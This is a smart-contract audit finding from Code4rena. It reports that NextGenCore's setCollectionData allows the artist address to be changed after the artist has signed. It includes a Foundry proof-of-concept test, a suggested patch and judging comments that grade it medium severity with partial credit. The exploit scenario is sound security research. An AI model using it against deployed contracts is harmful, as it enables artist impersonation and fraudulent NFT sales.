The artist can be change after the artist to sign the collection

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L143-L166
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L255-L262

Vulnerability details

Impact

In the NextGenCore contract we have the setCollectionData which is used among other things to set the collectionArtistAddress by the collection admin

    // function to add/modify the additional data of a collection
    // once a collection is created and total supply is set it cannot be changed
    // only _collectionArtistAddress , _maxCollectionPurchases can change after total supply is set

    function setCollectionData(uint256 _collectionID, address _collectionArtistAddress, uint256 _maxCollectionPurchases, uint256 _collectionTotalSupply, uint _setFinalSupplyTimeAfterMint) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) {
        require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed");
        if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {
            collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
@==>        collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
            collectionAdditionalData[_collectionID].collectionCirculationSupply = 0;
            collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply;
            collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
            collectionAdditionalData[_collectionID].reservedMinTokensIndex = (_collectionID * 10000000000);
            collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + _collectionTotalSupply - 1;
            wereDataAdded[_collectionID] = true;
        } else if (artistSigned[_collectionID] == false) {
            collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
            collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
            collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
        } else {
            collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
            collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
        }
    }

On the other hand we have the artistSignature function that is used to sign the collection:

    // function for artist signature

    function artistSignature(uint256 _collectionID, string memory _signature) public {
        require(msg.sender == collectionAdditionalData[_collectionID].collectionArtistAddress, "Only artist");
        require(artistSigned[_collectionID] == false, "Already Signed");
@==>    artistsSignatures[_collectionID] = _signature;
        artistSigned[_collectionID] = true;
    }

The problem is that the setCollectionData function can change the artist again once the collection is signed, giving the possibility that the collection is signed by a fake artist and then this is changed by a famous one, stealing the identity of the famous artist and selling tokens in his name and signature

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";

contract PoCTest is Test {
    address leonardo = address(6);

    address collectionAdmin = address(1);
    address hekking = address (9);

    uint256 collectionID = 1;

    NextGenAdmins genAdmins;
    NextGenCore genCore;

    function setUp() public {
        // Deploy contracts
        genAdmins = new NextGenAdmins();
        genCore = new NextGenCore("", "", address(genAdmins));

        // Create an empty collection
        genCore.createCollection("", "", "", "", "", "", "", new string[](0));

        // Register an admin collection
        genAdmins.registerCollectionAdmin(collectionID, collectionAdmin, true);
    }

    function test() public {
        // The collection admin set Hekking as the collection's artist.
        vm.startPrank(collectionAdmin);
        genCore.setCollectionData(collectionID, hekking, 0, 0, 0);

        // Hekking sign the collection with the Leonardo signature
        vm.startPrank(hekking);
        genCore.artistSignature(collectionID, "L da Vinci");

        // The collection admin set Leonardo as the collection's artist.
        vm.startPrank(collectionAdmin);
        genCore.setCollectionData(collectionID, leonardo, 0, 0, 0);

        // Finally the collection have a Leonardo signature setted by hekking
        console.log("Collection artist:", genCore.retrieveArtistAddress(collectionID));
        console.log("Collection signature:", genCore.artistsSignatures(collectionID));
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

@@ -147,7 +147,9 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
     function setCollectionData(uint256 _collectionID, address _collectionArtistAddress, uint256 _maxCollectionPurchases, uint256 _collectionTotalSupply, uint _setFinalSupplyTimeAfterMint) public CollectionAdminRequired(_collectionID, this.setCollectionData.selector) {
         require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed");
         if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {
-            collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
+            if (!artistSigned[_collectionID]) {
+                collectionAdditionalData[_collectionID].collectionArtistAddress = _collectionArtistAddress;
+            }
             collectionAdditionalData[_collectionID].maxCollectionPurchases = _maxCollectionPurchases;
             collectionAdditionalData[_collectionID].collectionCirculationSupply = 0;
             collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply;

Assessed type

ERC721

[c4-pre-sort]

141345 marked the issue as duplicate of #478

[c4-pre-sort]

141345 marked the issue as not a duplicate

[c4-pre-sort]

141345 marked the issue as duplicate of #323

[c4-pre-sort]

141345 marked the issue as not a duplicate

[c4-pre-sort]

141345 marked the issue as duplicate of #478

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)